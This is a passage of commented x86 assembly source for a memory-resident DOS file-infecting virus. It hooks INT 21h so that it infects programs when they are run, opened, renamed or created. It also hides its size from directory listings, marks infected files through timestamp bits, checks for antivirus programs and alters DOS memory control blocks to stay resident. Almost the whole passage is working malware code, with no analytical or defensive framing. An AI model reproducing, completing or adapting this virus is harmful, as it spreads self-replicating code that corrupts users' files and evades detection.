		jz	short loc_113C		; it'z antiviruz ?
		loop	locloop_110D		; nope go on

		mov	si, offset name_buffer - p	; gimme name_buffer
		xor	bl, bl			; 2 get drive
		lodsw
		cmp	ah, 3Ah			; ':'
		jne	short loc_1125
		sub	al, 40h			; ok make valid_drive_number
		mov	bl, al			; and store it 2 bl
loc_1125:
		mov	ax, 4408h		; get drive_statuz
		call	int_21h
		or	ax, ax			; medium can be exchanged ?
which_jump_?	db	74h
		db	offset loc_1146 - ($ + 1)
		mov	ax, 4409h		; get far disk statuz
		call	int_21h
		jc	short loc_113C		; error ?
		test	dh, 10h			; iz far disk in net ?
		jnz	short loc_1146
loc_113C:
		stc				; set error_flag
loc_113D:
		pop	ax
		pop	es
		pop	ds
		pop	di
		pop	si			; restore regz
		pop	cx
		pop	bx
		pop	dx
		retn				; and end ...
loc_1146:
		clc				; clear error_flag
		jmp	short loc_113D		; and end ...
sub_1098	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz comparez 2 stringz
sub_1149	proc	near
		push	di
		lodsb			; gimme bytez_count
		mov	cl, al		; store it 2 cx
		mov	ax, si		; gimme si
		add	ax, cx		; add bytez_count 2 offset
		repe	cmpsb		; compare
		mov	si, ax		; store new_offset
		pop	di
		retn			; and end ...
sub_1149	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz checkz whether there'z a viruz in the file or not ...
; and if not returnz in ax the value which iz 4 infected
sub_1157	proc	near
		push	dx
		mov	ax, es:[bx+2]		; gimme date
		xor	dx, dx
		div	word ptr cs:[date_div-p]; div it
		mov	ax, es:[bx]		; gimme time
		and	al, 1Fh			; and it
		cmp	al, dl			; the same ?
		stc				; set Cflag (infected)
		jz	short loc_1176
		mov	ax, es:[bx]		; gimme time
		and	ax, 0FFE0h		; and it
		or	al, dl			; or it with date
		clc				; clear Cflag (not infected)
loc_1176:
		pop	dx
		retn				; and end ...
sub_1157	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Sub viruz_size
sub_1178	proc	near
		sub	word ptr es:[bx], offset buffer - p; sub viruz_file
		sbb	word ptr es:[bx+2], 0
		jnc	short loc_ret_118E	; underflow ?
		add	word ptr es:[bx], offset buffer - p; yope
		adc	word ptr es:[bx+2], 0	; so add it back

loc_ret_118E:
		retn
sub_1178	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz iz main infection routine ...
sub_118F	proc	near
		push	ax
		push	bx
		push	cx
		push	si			; push regz
		push	di
		push	bp
		push	ds
		push	es
		call	sub_1034		; set my int_24h
		mov	ax, 4300h		; gimme file_attribz
		call	int_21h
		mov	cs:[file_attribz - p], cx; store it
		mov	ax, 4301h		; set new attribz
		xor	cx, cx			; no attribz
		call	int_21h
		jc	short loc_11D3		; error ?
		mov	ax, 3D02h		; open file 4 read_&_write
		call	int_21h
		jc	short loc_11CA		; error ?
		push	dx
		push	ds
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	ds:[handle - p], ax	; store handle
		call	sub_0E7C		; ok infect the file
		mov	ah, 3Eh
		call	sub_0E6F		; close file
		pop	ds
		pop	dx
loc_11CA:
		mov	ax, 4301h		; set back old_attribz
		db	0b9h			; mov	cx, ?
file_attribz	dw	20h
		call	int_21h
loc_11D3:
		call	sub_1052		; set back old_int_24h
		pop	es
		pop	ds
		pop	bp
		pop	di
		pop	si			; restore regz
		pop	cx
		pop	bx
		pop	ax
		retn				; and end ...
sub_118F	endp

new_int_21h:
		pushf
		sti
		cmp	ah, 11h			; find_first_FCB_file ?
		je	short loc_11EB
		cmp	ah, 12h			; find next_FCB_file ?
		jne	short loc_121A
loc_11EB:
		db	0ebh
fcb_jmp_	db	0
		push	bx
		push	es
		push	ax
		mov	ah, 2Fh			; gimme DTA_addr
		call	int_21h
		pop	ax
		call	int_21h			; do FCB_function
		cmp	al, 0FFh		; did we find something ?
		je	short loc_1216
		push	ax			; yope
		cmp	byte ptr es:[bx], 0FFh	; extended FCB ?
		jne	short loc_1207
		add	bx, 7			; yope so jump over ext_FCB
loc_1207:
		add	bx, 17h			; go2 time
		call	sub_1157		; check whether infected
		pop	ax
		jnc	short loc_1216		; already infected ?
		add	bx, 6			; go2 file_size
		call	sub_1178		; sub viruz_size
loc_1216:					; nope
		pop	es
		pop	bx
		popf
		iret
loc_121A:
		cmp	ah, 4Eh			; find_first_file ?
		je	short loc_1224
		cmp	ah, 4Fh			; find_next_file ?
		jne	short loc_1250
loc_1224:
		push	bx
		push	es
		push	ax
		mov	ah, 2Fh			; gimme DTA_addr
		call	int_21h
		pop	ax
		call	int_21h			; do find_function
		jc	short loc_1249		; error ?
		push	ax
		add	bx, 16h			; go2 time
		call	sub_1157		; check whether infected
		pop	ax
		jnc	short loc_1242		; already infected ?
		add	bx, 4			; go2 file_size
		call	sub_1178		; sub viruz_size
loc_1242:					; nope
		pop	es
		pop	bx			; restore regz
		popf
		clc				; clear error_flag
		retf	2			; and end ...
loc_1249:					; yope
		pop	es
		pop	bx			; restore regz
		popf
		stc				; set error_flag
		retf	2			; and end ...
loc_1250:
		cmp	ax, 4B53h		; it'z mark ?
		jne	short loc_125A
		mov	ax, 454Bh		; yope so get 454bh
		popf
		iret				; and end ...
loc_125A:
		cmp	ah, 4Ch			; prog'z_end ?
		jne	short loc_1265
		mov	byte ptr cs:[fcb_jmp_ - p], 0
loc_1265:
		cld
		push	dx
		cmp	ax, 4B00h		; run_prog ?
		jne	short loc_12A9
		db	0ebh
run_jmp		db	offset loc_12a7 - ($ + 1)
		push	ax
		push	bx
		push	ds			; push regz
		push	es
		mov	ah, 52h			; gimme list_of_listz
		call	int_21h
		mov	ax, es:[bx-2]		; gimme first_mcb
loc_127B:
		mov	ds, ax
		add	ax, ds:[3]		; go2 next mcb_block
		inc	ax
		cmp	byte ptr ds:[0], 5Ah	; last_one ?
		jne	loc_127B
		mov	bx, cs			; yope
		cmp	ax, bx			; it'z our mcb_block ?
		jne	short loc_129D
		mov	byte ptr ds:[0], 4Dh	; make middle_block
		xor	ax, ax
		mov	ds, ax
		add	word ptr ds:[413h], 4	; add 4K 2 mem which we took
loc_129D:
		mov	byte ptr cs:[run_jmp-p], offset loc_12a7 - (run_jmp + 1)
		pop	es			; now jump 2 loc_12a7
		pop	ds
		pop	bx			; restore regz
		pop	ax
loc_12A7:
		jmp	short loc_12FD
loc_12A9:
		cmp	ah, 3Dh			; open_file ?
		je	short loc_12FD
		cmp	ah, 56h			; rename_file ?
		je	short loc_12FD
		cmp	ax, 6C00h		; ext_open_found ?
		jne	short loc_12C1
		test	dl, 00010010b		; action 02h or/and 10h ?
		mov	dx, si
		jz	short loc_12FD
		jmp	short loc_1307		; yope
loc_12C1:
		cmp	ah, 3Ch			; found_file ?
		je	short loc_1307
		cmp	ah, 5Bh			; make_new_file ?
		je	short loc_1307
		cmp	ah, 3Eh			; close_file ?
		jne	short loc_12F6
		cmp	bx, word ptr cs:[ext_handle - p]; do we have
		jne	short loc_12F6		; something 2 infect ?
		or	bx, bx			; handle nullovej ?
		jz	short loc_12F6
		call	int_21h			; close it
		jc	short loc_1323
		push	ds
		push	cs
		pop	ds
		mov	dx, offset ext_file_name - p; gimme file_name
		call	sub_118F		; and infect it
		mov	word ptr ds:[ext_handle - p], 0; nulluj ext_handle
		pop	ds
loc_12F0:
		pop	dx
		popf
		clc				; clear error_flag
		retf	2			; and end ...
loc_12F6:
		pop	dx
		popf				; jmp 2 old_int_21h
		jmp	dword ptr cs:[old_int_21h - p__]
loc_12FD:
		call	sub_1098		; check 4 file_name & disk
		jc	loc_12F6		; error ?
		call	sub_118F		; infect it
		jmp	short loc_12F6
loc_1307:
		cmp	word ptr cs:[ext_handle - p], 0
		jne	loc_12F6		; ext_file already founded ?
		call	sub_1098		; check 4 file_name & disk
		jc	loc_12F6		; error ?
		mov	word ptr cs:[file_offset - p], dx; store file_name_
		pop	dx			; _offset
		push	dx
		call	int_21h			; found it
		db	0bah			; mov	dx, ?
file_offset	dw	45cch
		jnc	short loc_1329		; error ?
loc_1323:					; yope
		pop	dx
		popf
		stc				; set error_flag
		retf	2			; and end ...
loc_1329:
		push	cx
		push	si
		push	di			; ok 
		push	es			; move file_name
		xchg	si, dx			; 2 our buffer
		mov	di, offset ext_handle - p
		push	cs
		pop	es
		stosw				; and store handle of course
		mov	cx, 4Bh			; move 4bh bytez
		rep	movsb			; and finally move
		pop	es
		pop	di
		pop	si			; restore regz
		pop	cx
		jmp	short loc_12F0		; and end ...

		;
		db	'Did you leave the room ?'
		;
run_counter	dw	04FBh
buffer		db	160h dup(?)
three_bytez	db	?			; offset 14bah
						; instr_buffer - 3
						; 0e9h disp16 haz 3 bytez ...
handle		dw	?			; offset 14bbh
instr_buffer	db	10 dup(?)		; offset 14bdh
file_buffer	db	1ah dup(?)		; offset 14c7h
old_int_24h	dd	?			; offset 14e1h
file_time_date	dd	?			; offset 14e5h
ext_handle	dw	?			; offset 14e9h
ext_file_name	db	4bh dup(?)		; offset 14ebh
name_buffer	db	4bh dup(?)		; offset 1536h
		;
seg_a		ends
		end	start